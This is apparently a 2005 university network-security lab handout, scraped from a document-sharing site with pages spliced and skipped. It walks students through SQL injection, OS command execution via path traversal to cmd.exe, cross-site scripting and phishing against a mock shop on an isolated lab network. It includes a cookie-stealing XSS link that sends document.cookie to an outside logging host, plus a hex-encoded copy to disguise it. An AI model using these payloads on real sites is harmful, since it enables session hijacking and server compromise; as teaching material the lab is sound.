Web App Security: Exploiting SQL Injection, XSS, and Phishing, Lab Reports of Electrical and Electronics Engineering

Download Web App Security: Exploiting SQL Injection, XSS, and Phishing and more Lab Reports Electrical and Electronics Engineering in PDF only on Docsity! ECE 4112: Internetwork Security Lab 12: Web Application Security Group Number: ___________ Member Names: _______________ _______________ Please read the entire lab and any extra materials carefully before starting. Be sure to start early enough so that you will have time to complete the lab. Answer ALL questions and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due. Date: November 16, 2005 Date Due: November 23, 2005 Last Revised: December 2, 2004 Written by: Jason Trost, Tracey Diamond, Kyle Forkner, and Brandon Olekas. Goal: The goal of this lab is to examine various tools and techniques that can be used to exploit weaknesses in web applications. Summary: This lab will introduce techniques that can be used to exploit vulnerabilities in web applications. These exploits include using SQL injection to obtain database information, OS commanding, cross site scripting, and phishing attacks. Equipment Needed: The Windows 2000 Server image stored on the NAS should be set up as the web application server the students will attack. To attack the web application, students will need to use IE from one of their Windows XP virtual machines. Background and Theory: The following is a combined version of the following three articles: 1. http://www.securityfocus.com/infocus/1704 2. http://www.securityfocus.com/infocus/1709 3. http://www.securityfocus.com/infocus/1722 Web applications are becoming more prevalent and increasingly more sophisticated, and as such they are critical to almost all major online businesses. As with most security issues involving client/server communications, Web application vulnerabilities generally stem from improper handling of client requests and/or a lack of input validation checking 1 on the part of the developer. The very nature of Web applications - their ability to collate, process and disseminate information over the Internet - exposes them in two ways. First and most obviously, they have total exposure by nature of being publicly accessible. This makes security through obscurity impossible and heightens the requirement for hardened code. Second and most critically from a penetration testing perspective, they process data elements from within HTTP requests - a protocol that can employ a myriad of encoding and encapsulation techniques. Most Web application environments (including ASP and PHP), expose these data elements to the developer in a manner that fails to identify how they were captured and hence what kind of validation and sanity checking should apply to them. Because the Web "environment" is so diverse and contains so many forms of programmatic content, input validation and sanity checking is the key to Web applications security. This involves both identifying and enforcing the valid domain of every user-definable data element, as well as a sufficient understanding of the source of all data elements to determine what is potentially user definable. The Root of the Issue: Input Validation Input validation issues can be difficult to locate in a large code base with lots of user interactions, which is the main reason that developers employ penetration testing methodologies to expose these problems. Web applications are, however, not immune to the more traditional forms of attack. Poor authentication mechanisms, logic flaws, unintentional disclosure of content and environment information, and traditional binary application flaws (such as buffer overflows) are rife. When approaching a Web application as a penetration tester, all this must be taken into account, and a methodical process of input/output or "blackbox" testing, in addition to (if possible) code auditing or "whitebox" testing, must be applied. What exactly is a Web application? A Web application is an application, generally comprised of a collection of scripts that reside on a Web server and interact with databases or other sources of dynamic content. They are fast becoming ubiquitous as they allow service providers and their clients to share and manipulate information in an (often) platform-independent manner via the infrastructure of the Internet. Some examples of Web applications include search engines, webmail, shopping carts and portal systems. How does it look from the users perspective? 2 3. Test for recognized file types/extensions/directories Many Web services (such as Microsoft IIS) will react differently to a request for a known and supported file extension than an unknown extension. The tester should attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and watch for any unusual output or error codes. GET /blah.idq HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Wed, 04 Jun 2003 11:12:24 GMT Content-Type: text/html <HTML>The IDQ file blah.idq could not be found. 4. Examine source of available pages The source code from the immediately accessible pages of the application front- end may give clues as to the underlying application environment. <title>Home Page</title> <meta content="Microsoft Visual Studio 7.0" name="GENERATOR"> <meta content="C#" name="CODE_LANGUAGE"> <meta content="JavaScript" name="vs_defaultClientScript"> In this situation, the developer appears to be using MS Visual Studio 7. The underlying environment is likely to be Microsoft IIS 5.0 with .NET framework. 5. Manipulate inputs in order to elicit a scripting error In the example below the most obvious variable (ItemID) has been manipulated to fingerprint the Web application environment: 5 6. TCP/ICMP and Service Fingerprinting Using traditional fingerprinting tools such as Nmap and Queso, or the more recent application fingerprinting tools Amap and WebServerFP, the penetration tester can gain a more accurate idea of the underlying operating systems and Web application environment than through many other methods. NMAP and Queso examine the nature of the host's TCP/IP implementation to determine the operating system and, in some cases, the kernel version and patch level. Application fingerprinting tools rely on data such as Server HTTP headers to identify the host's application software. Javascript and other client-side code can also provide many clues as to the inner workings of a Web application. This is critical information when blackbox testing. Although the whitebox (or 'code-auditing') tester has access to the application's logic, to the blackbox tester this information is a luxury which can provide for further avenues of attack. For example, take the following chunk of code: <INPUT TYPE="SUBMIT" onClick=" if (document.forms['product'].elements['quantity'].value >= 255) { document.forms['product'].elements['quantity'].value=''; alert('Invalid quantity'); return false; } else { return true; } "> This suggests that the application is trying to protect the form handler from quantity values of 255 of more - the maximum value of a tinyint field in most database systems. It would be trivial to bypass this piece of client-side validation, insert a long integer value into the 'quantity' GET/POST variable and see if this elicits an exception condition from the application. The Blackbox Testing Method The blackbox testing method is a technique for hardening and penetration-testing Web applications where the source code to the application is not available to the tester. It forces the penetration tester to look at the Web application from a user's perspective (and therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods to probe the application and identify all expected inputs and interactions from the user. The blackbox tester, at first, tries to get a 'feel' for the application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Output approach to penetration testing. The tester attempts to elicit exception conditions and anomalous behavior from the Web 6 application by manipulating the identified inputs - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web application is noted and investigated. This may take the form of scripting error messages (possibly with snippets of code), server errors (HTTP 500), or half-loaded pages. Figure 1 - Blackbox testing GET variables Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating as it may mean the developer has failed to validate inputs correctly! SQL Injection Vulnerabilities Many Web application developers (regardless of the environment) do not properly strip user input of potentially "nasty" characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub-selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Locating SQL Injection Vulnerabilities Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application inputs and inserting special characters. With many of the popular backends, informative errors pages are displayed by default, which can often give clues to the SQL query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax of database queries. 7 server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code in the scripting language of the application itself. Server Side Includes (SSI) SSI is a mechanism for including files using a special form of HTML comment which predates the include functionality of modern scripting languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or re-usable elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the scripting language, so if SSI tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. Methods of attacking this vulnerability are similar to those shown above for scripting language injection. SSI is rapidly becoming outmoded and disused, so this topic will not be covered in any more detail. Miscellaneous Injection There are many other kinds of injection attacks common amongst Web applications. Since a Web application primarily relies upon the contents of headers, cookies and GET/ POST variables as input, the actions performed by the application that is driven by these variables must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform using these variables: open files, search databases, interface with other command systems and, as is increasingly common in the Web services world, interface with other Web applications. Each of these actions requires its own syntax and requires that input variables be sanity-checked and validated in a unique manner. Cross Site Scripting Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods covered in this article in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a developer incorrectly allows a user to manipulate HTML output from the application - this may be in the result of a search query, or any other output from the application where the user's input is displayed back to the user without any stripping of HTML content. Cookies Cookies are a mechanism for maintaining persistent data on the client side of a HTTP exchange. They are not part of the HTTP specification, but are a de-facto industry standard based on a specification issued by Netscape. Cookies involve the use of HTTP header responses to set values on the client side, and in client requests to provide these 10 values back to the server side. The value is set using a 'Set-Cookie' header and returned using a 'Cookie' header. Take the following example of an exchange of cookies. The client requests a resource, and receives in the headers of the response: Set-Cookie: PASSWORD=g0d; path=/; expires=Friday, 20-Jul-03 23:23:23 GMT When the client requests a resource in path "/" on this server, it sends: Cookie: PASSWORD=g0d The browser is responsible for storing and retrieving cookie values. In both Netscape and Internet Explorer this is done using small temporary files; the security of these mechanisms is beyond the scope of this article, we are more concerned with the problems with cookies themselves. Cookies are often used to authenticate users to an application. If the user's cookie is stolen or captured, an attacker can impersonate that user. There have been numerous browser vulnerabilities in the past that allow attackers to steal known cookies. Cookies should be treated by the developer as another form of user input and be subjected to the same validation routines. There have been numerous examples in the past of SQL injection and other vulnerabilities that are exploitable through manipulating cookie values. Refer to http://www.securityfocus.com/bid/6890, and http://www.securityfocus.com/bid/8349 specific examples of these vulnerabilities. Prelab Questions: None. Lab Scenario: For this lab we will be accessing a web server on the Mininet whose IP address is 57.35.6.2. This web sever hosts a mock website whose web applications are vulnerable to various web application attacks. Section 1: Information Gathering In this section you are going to gather basic information about the web server such as the web server software and version, and listening ports on the web server. Banner Grabbing: On your Redhat 8.0 machine, use telnet or netcat to connect to the web server and gather some useful information. # telnet 57.35.6.2 80 11 -OR- # nc 57.35.6.2 80 Once connected type some HTTP commands to solicit information about the type of web server. After typing one of these commands type <ENTER> twice to get the response back. HEAD/HTTP/1.1 -or- OPTIONS/HTTP/1.1 Q1.1. What web server software and version is the server running? Q1.2. How is this information useful? Port Scan: Use nmap to complete a simple TCP port scan on the server. # nmap -sT 57.35.6.2 Q1.3. Take a screenshot of the output (Screenshot #1). Q1.4. Based on what type of web server software is running and on what ports are open, what database server software do you think is running on the server? Note: This is not a production environment. Normally the database server and the web server are not run on the same machine. Section 2: SQL Injection Section 2.1. Simple SQL Injection: In this section, you will explore SQL injection attacks. The website being hosted on the web server is vulnerable to SQL injection. On either your Redhat 8.0 machine or on your Windows XP virtual machine, open this site in a web browser: http://57.35.6.2. Wait for the page to load (it may take a while). In the bottom left hand corner of the webpage, click the link “Recover your account password”. You will see a form with “Full Name” and “Email” fields. If you type a single quote (apostrophe) in the Full Name field and enter a random email address, and then click Submit, the program will return: “Unclosed quotation mark before the 12 Q2.4.1. Using the above queries extract the first 4 rows of this table. Fill in the following table with the remaining rows using the above technique: column1 column2 column3 column4 1 jb@ibuyspy.com James Bondwell IBS_007 Q 2.4.2. What do you think can be done to correct this problem by the web developers of this site? Section 3: OS Commanding Section 3.1. Predictable File Locations: After the initial install of a web application or server, some administrators may lazily leave files in predictable locations. Files such as an install readme, or FTP transfer log may be accessible from the main website. In this case, the administrator has left a readme file in the website directory that can be accessed by the following URL: http://57.35.6.2/readme.txt After reading this file it should be clear that OS commands are executable as described in the file. Section 3.2. Executing OS Commands: Use the following command in an IE browser on one of your XP machines to ping your 8.0 machine. http://57.35.6.2/StoreCSVS/(sessionID)/Default.aspx?AdminMode=..\..\..\..\winnt\ system32\ping.exe%20w.x.y.z w.x.y.z should be the IP address for your 8.0 machine. Q 3.2.1 Take a screenshot of the resulting page and turn it in with your report. 15 (Screenshot #2) You can also list the directory structure and files for specific directories with the following command: http://57.35.6.2/StoreCSVS/(sessionID)/Default.aspx?AdminMode=..\..\..\..\winnt\ system32\cmd.exe%20/c%20dir%20c:\inetpub\wwwroot\ Q 3.2.2 Take a screenshot of the resulting page and turn it in with your report. (Screenshot #3) As you can see from the previous commands, direct execution of system calls can provide lots of features that an attacker could use to exploit the system. Q 3.2.3. What steps can be taken to avoid OS command execution? Section 4: Cross Site Scripting Attacks Section 4.1. Background Information: From CGISecurity’s XSS FAQ available at: www.cgisecurity.com/articles/xss-faq.shtml. Cross site scripting (or XSS) occurs when dynamic web applications gather malicious data about a user. Dynamic sections of Javascript, VBScript, or ActiveX can be insterted into guestbook or forum pages that when displayed, will be executed by the users browser. By specially formatting these scripts, the attacker can steal user's information such as cookies that can be used to hijack their account. To test for possible XSS vulnerabilities, place a simple Javascript alert message (<script>alert(XSS)</script>) into a section of the website which can be viewed again. Because forums allow users to post messages and view those posted by others, they create the perfect environment for XSS attacks. After you have posted the above message, view your post to see if your browser displays the pop-up alert message. If the script has been executed, an XSS vulnerability exists and you may be able to steal user's cookies. For an attacker to steal your information, you still have to click on, or view, a specially formulated link which contains the XSS exploit as well as information on where to send or store your information. These links must be constructed so that on execution, they still load the application page as normal. To keep users from viewing the script commands in the XSS exploit link, an attacker will usually convert the text into a Hex 16 value to disguise it. CGISecurity provides a simple example of hijacking a user’s cookies by redirecting the cookie from a PHP application to their own site that simply records all information. http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/ cgi-bin/cookie.cgi?'%20+document.cookie</script> To view the cookies collected by the script, go to: http://www.cgisecurity.com/cgi-bin/cookie.cgi. This site holds a list of all cookies collected by the application. In the above example, the attacker has closed the form that interprets the variable var with the > character. The attacker then inserts a simple Javascript the redirects the user's cookie to the CGISecurity website where it can be logged. Although this link can be easily avoided if you look at the location or status bar before clicking, the following Hex conversion is unreadable and may still be clicked on. http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f %63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d %27%68%74%74%70%3a%2f%2f%77%77%77%2e %63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f %63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f %27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f %73%63%72%69%70%74%3e The above text includes the same text as the above ASCII link, but all characters have been converted into their Hex value. Section 4.2. Locating Possible XSS Vulnerabilities: In this lab you will be testing the IBuySpy.com web application located at http://57.35.6.2 for XSS vulnerabilities. After browsing to http://57.35.6.2/, you will be greeted with a default page that provides some common shopping and web forum services. For this section, we will be focusing on the web board forums. Click the WWWBoard link in the top right hand corner of the page. Since this board requires no authentication, you don't need to login to search for exploits. You can either reply to a previous message, or start your own thread. In either case, after you have entered the name (use group## where ## is your group number), email, and subject text, enter the following text in the message section: <script>alert(document.cookie)</script> 17 normal Welcome banner is not present because you have not logged in.) Normally, this page would not be shown to the user, and would point to a different server controlled by the attacker. The user's login information would be recorded silently, and the user would probably be returned to the initial webpage after an error message. Section 5.3. Real World Example: Recently, Citibank was the target of attackers hoping to collect credit card numbers from users. The Anti-Phishing Workgroup’s writup on the incident should show you just how complicated these attacks can become. You can find the article here: http://www.antiphishing.org/phishing_archive/Citibank_3-31-04.htm Notice how the URL in the email appears to come from a Citibank server, web.da- us.citibank.com. However, upon redirect, the real IP for the server is 69.52.202.82. Other impressive techniques used for this attack include the use of https, even though no actual SSL information is transferred, and no padlock appears in the bottom right of the browser. The site follows the normal Citibank website layout, and asks for the information in the email. Finally, if you use the same browser window to surf to a different website, the fake Citibank frame stays in control. (Note the ‘Welcome to Citi’ browser title) By looking at the Anti-Phishing Workgoup’s homepage (http://www.antiphishing.org/index.html), you can see how frequent and dangerous this type of attack has become. Q 5.3.1. Usually these attacks are spread through email, as a banking or finance institution, what steps can you employ to make sure users are aware of phishing attacks? Q 5.3.2. If you receive an email asking you to follow a link and login to protect your account, what steps can you use to make sure the page is authentic? Section 6: Achilles Web Proxy 20 Section 6.1: Background Information Achilles is a tool designed for testing the security of web applications. Achilles is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. Achilles will intercept an HTTP session's data in either direction and give the user the ability to alter the data before transmission. For example, during a normal HTTP SSL connection a typical proxy will relay the session between the server and the client and allow the two end nodes to negotiate SSL. In contrast, when in intercept mode, Achilles will pretend to be the server and negotiate two SSL sessions, one with the client browser and another with the web server. As data is transmitted between the two nodes, Achilles decrypts the data and gives the user the ability to alter and/or log the data in clear text before transmission. Section 6.2: Installation Achilles can be obtained from http://i.b5z.net/i/u/1268303/f/tools/achilles_0_27.zip. For this lab, the Achilles tool can be found on the NAS in /mnt/nas4112/Lab12/. On your Windows machine, unzip the file to c:\Achilles. Section 6.3: Setup Achilles Configuration Using windows explorer, navigate to c:\Achilles and double-click Achilles.exe. Select “intercept mode” and “intercept client data”. Set the timeout boxes to 99 sec to prevent lost data. Now, press the start button. Web Browser Configuration 1. In Internet Explorer, go into Tools  Internet Options  Connections 2. Click on “LAN Settings” 3. Select “Use a proxy server” in the proxy server dialog box 4. Go into Advanced settings and set the proxy address to 127.0.0.1 and the port to 5000 in the HTTP and secure boxes only Section 6.3: Practical application Enter a web request to your local server in the request window. Notice the http request in your Achilles window. Press “Send” on Achilles to forward the request to the server. Go to a location in the site with a form. Enter information into the form and submit it. Q 6.3.1: Take a screenshot of the POST data in the Achilles window (Screenshot #6) Submit this data and look at the screen. Now post something else in the form and alter 21 one of the parameters. Observe the screen that comes up. How did it change? ECE 4112: Internetwork Security Lab 12: Web Application Security 22 Q 3.2.1. Take a screenshot of the resulting page and turn it in with your report. (Screenshot #2) Q 3.2.2. Take a screenshot of the resulting page and turn it in with your report. (Screenshot #3) Q 3.2.3. What steps can be taken to avoid OS command execution? Section 4: Cross Site Scripting Attacks Q 4.2.1. Take a screenshot of the resulting page and turn it in with your report. (Screenshot #4) Q 4.2.2. If you were creating a web application and needed to write a forum section, what steps should you take to make sure no XSS vulnerabilities will occur? Q 4.3.1. How can I avoid XSS attacks? Section 5: Phishing Attacks Q 5.2.1. Take a screenshot of the resulting page and turn it in with your report. (Screenshot #5) Q 5.3.1. Usually these attacks are spread through email, as a banking or finance institution, what steps can you employ to make sure users are aware of phishing attacks? 25 Q 5.3.2. If you receive an email asking you to follow a link and login to protect your account, what steps can you use to make sure the page is authentic? Section 6: Achilles Web Proxy Q 6.3.1: Take a screenshot of the POST data in the Achilles window (Screenshot #6) How long did it take you to complete this lab? Was it an appropriate length lab? What corrections and or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make corrections/suggestions. Note that part of your lab grade is what improvements you make to this lab. You may want to search the world wide web for other DoS tools. What tools can we add to this lab that teach something else new? You need to be very specific and provide details. Caution as usual: only extract and use the tools you downloaded in the safe and approved environment of the network security laboratory. Turn-in Checklist  Answer Sheet  Screenshots #1-6 26